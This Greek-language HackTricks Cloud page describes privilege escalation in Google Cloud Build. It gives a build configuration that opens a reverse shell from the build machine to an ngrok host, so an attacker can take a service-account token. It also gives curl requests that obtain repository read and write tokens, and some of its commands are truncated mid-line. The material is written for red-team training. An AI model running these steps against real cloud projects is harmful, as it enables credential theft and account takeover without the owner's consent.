GCP - Cloudbuild Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
cloudbuild
Για περισσότερες πληροφορίες σχετικά με το Cloud Build δείτε:
cloudbuild.builds.create, iam.serviceAccounts.actAs
Με αυτό το δικαίωμα μπορείτε να υποβάλετε ένα cloud build. Η μηχανή cloudbuild θα έχει στο σύστημα αρχείων της εκ προεπιλογής ένα token του cloudbuild Service Account: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Ωστόσο, μπορείτε να ορίσετε οποιονδήποτε service account μέσα στο project στη διαμόρφωση του cloudbuild.\
Συνεπώς, μπορείτε απλώς να αναγκάσετε τη μηχανή να exfiltrate στο server σας το token ή να πάρτε ένα reverse shell μέσα σε αυτήν και να αποκτήσετε το token (το αρχείο που περιέχει το token μπορεί να αλλάξει).
Άμεση εκμετάλλευση μέσω gcloud CLI
1- Δημιουργήστε cloudbuild.yaml και τροποποιήστε το με τα δεδομένα του listener σας
Cloud Build YAML διαμόρφωση για reverse shell
```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```2- Ανέβασμα ενός απλού build χωρίς source, του αρχείου yaml και καθορισμός του SA που θα χρησιμοποιηθεί στο build:
Υποβολή Cloud Build με καθορισμένο SA
```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/Χρήση python gcloud library
Μπορείτε να βρείτε το αρχικό exploit script εδώ στο GitHub (αλλά η τοποθεσία από όπου παίρνει το token δεν δούλεψε για μένα). Επομένως, δείτε ένα script για να αυτοματοποιήσετε την creation, exploit and cleaning of a vuln environment here και ένα python script για να αποκτήσετε ένα reverse shell μέσα στη cloudbuild machine και να το steal εδώ (στον κώδικα μπορείτε να βρείτε πώς να ορίσετε άλλα service accounts).
Για πιο εμπεριστατωμένη εξήγηση, επισκεφθείτε https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Με αυτό το permission ο χρήστης μπορεί να πάρει το read access token που χρησιμοποιείται για πρόσβαση στο repository:
Πάρε read access token για repository
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.repositories.accessReadWriteToken
Με αυτήν την άδεια ο χρήστης μπορεί να αποκτήσει το read and write access token που χρησιμοποιείται για την πρόσβαση στο αποθετήριο:
Λήψη του read and write access token για το αποθετήριο
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.connections.fetchLinkableRepositories
Με αυτή την άδεια μπορείτε να λάβετε τα αποθετήρια στα οποία έχει πρόσβαση η σύνδεση:
Ανάκτηση συνδεόμενων αποθετηρίων
```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects/Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

